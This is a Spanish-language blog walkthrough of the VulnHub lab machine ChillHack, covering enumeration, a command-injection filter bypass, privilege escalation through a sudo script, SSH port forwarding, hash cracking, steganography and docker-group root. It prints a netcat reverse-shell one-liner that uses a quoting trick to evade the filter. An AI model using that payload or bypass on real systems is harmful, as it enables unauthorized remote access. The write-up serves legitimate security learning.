Pues volvemos con la serie de máquinas de VulnHub. Hoy no he querido rebuscar, así que he cogido una de la primera página xD.
En este caso, el creador nos dice que es una máquina con vulnerabilidades comunes del día a día. Así que, sin más, vamos a por ella.
Para no perder la costumbre, empecemos con nmap para ver que esconde la máquina.

Bueno, pues como se puede ver, tenemos un puerto 21, 22 y 80. Como hago siempre, voy a revisar la web a ver si hay alguna pista.

Una página currada, no suelo encontrar esto... Aparecen abajo unos textos con un <marquee> que parece que quieren decir algo, pero no.
Reviso la web por encima, pero no me aporta demasiado, así que, vuelvo a la enumeración. Rápidamente, me doy cuenta que el FTP tiene anónimo habilitado, por lo que decido conectarme. Por costumbre lo hago primero por web.
Vale, me encuentro un .txt con el siguiente texto:
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
Bien, pues dice que hay algunos filtros en las cadenas... no me aclara demasiado. Sigamos con la parte web. Es momento de darle zapatilla con dirbuster a ver que encuentra.

Guay, no tarda mucho en encontrar la carpeta secret, veamos que tiene.

Como diría Peter Griffin, oh, un caramelo xD.

Solo por el muñequito bailando ya ha merecido la pena descargar la iso y empezar jaja, muy top. Con un ID nos dice quienes somos.

Si le pido el fichero passwd me aparece la pantalla de alerta jaja, ya me ha ganado el creado, que crack.
El fichero .txt decía algo de los filtros, no? Pues quizá se refiera a esto. Me suena que había alguna máquina parecida, no se si en HTB o en TryHackMe... El caso es que buscando en mis apuntes, me encuentro la solución.

Vale, vamos a meterle una reversa, pero de igual manera hay que bypasear el fitro.
Ponemos un nc escuchando en el 5555 y lanzamos la reversa.
nc -lvnp 5555
r"m" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.204.166 5555 >/tmp/f
Una vez que tenemos la conexión, podemos obtener una terminal interactiva con:
python3 -c 'import pty;pty.spawn("/bin/bash")'

En el directorio home me encuentro con 3 carpetas.

Las 2 primeras tienen el los permisos restringidos, pero la tercera, si es accesible.

Casi todos los ficheros están restringidos, pero el script helpline.sh, si es legible.

Vale, parece que el script "permite hablar" con alguien, vamos a probar algunas cosas. Pero lo intento ejecutar como el usuario Apaar con sudo -u.

Si le digo que soy /bin/bash y en el mensaje lo mismo, parece que me deja sacar una consola. Una vez más, hacemos uso de python para lograr la consola interactiva y comprobar que soy el usuario Apaar y que ahora si puedo leer los ficheros.

Ya tengo la flag del usuario, ahora me falta conseguir la de root, así que, a por la escalada de privilegios xD.
Vale, comencemos por la parte de enumeración, voy a descargar linenum, para ello compruebo que tiene wget activo, creo un directorio y lo descargo.

Y lo ejecuto para ver que podemos hacer.

Vale, pues me encuentro con 2 puertos, el 9001 y el 3306 que es el que usa mySQL por defecto. El que no sé que tendrá es el 9001, así que, vamos a por él.
Vamos con el port forwading. Lo primero es general el par de claves

Esto genera el fichero id_rsa y el id_rsa.pub, que es el que vamos a copiar en la máquina ChillHack .
Vale, llegados a este punto, resulta que no había manera (o más bien yo no sabía como xD) y no podía ni abrir nano ni vim para poder escribir mi key, así que, me tocó preguntar a mi amigo Mario que el tipo es un crack .
El problema es que cuando usamos python para hacer la shell interactiva, realmente no lo el del todo, digamos que es semi-interactiva, por lo que podemos solucionarlo con:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo
fg
Damos a intro, y por último:export TERM=xterm256-color
(Gracias por el aporte Mario, eres top!)
Vale, pues una vez hecho eso, ya podemos abrir el fichero authorized_keys con vi. Pegamos la key que hemos copiado y continuamos.

Perfecto, ya está hecho el port forwading y ahora tengo acceso a un panel de login.

Como no sé si hay un SQLi, voy a revisar de nuevo lo que sacó linenum porque no vi la salida entera.
Y efectivamente, encuentro un listado en /var/www/files con un fichero suculento (index.php)

Igual tardo menos así que buscando un posible SQLi xD.

Pues ahora un poquito de lo aprendido con el "otro Mario" en MySQL.

Vale, pues vamos a crackear ese MD5 a ver que contraseña esconde el amigo Apaar.

Después de probar un par de decodificadores en línea sin éxito, como se suele decir, a la tercera va la vencida xD. Y si, ya sé que podía haber usado hashcat u otro, pero igual así tardo menos.
De hecho, no me quiero quedar con las ganas, voy a probar con john.

Vale, pues mismo resultado y en 0 segundos jaja, me he colado, esto era más rápido. La contraseña del otro usuario también la saco con jhon.
Ok, pruebo el login con ambos usuarios y me devuelven una imagen con el siguiente texto.

¿Qué mire en la oscuridad? Si estoy en la oscuridad, no veo una mierda! xD. Vale, fuera de bromas, me descargo la imagen y la analizo a ver.
Instalo y uso steghide.

Pero al intentar acceder al fichero, me dice que me peine.

Así que, toca probar herramientas para crackear la clave.


Pues teniendo la contraseña, abrimos el fichero y se puede ver "claramente" una contraseña (en base64) .

Una vez decodeada la contraseña, ya puedo hacer login como el usuario anurodh.
Veo que este nuevo usuario pertenece al grupo docker. Así que, vamos a usar docker para obtener una shell de root.

Y siendo root, ya podemos ver su flag en /root/proof.txt.

Nos vemos en la siguiente.
0 comentarios:
Publicar un comentario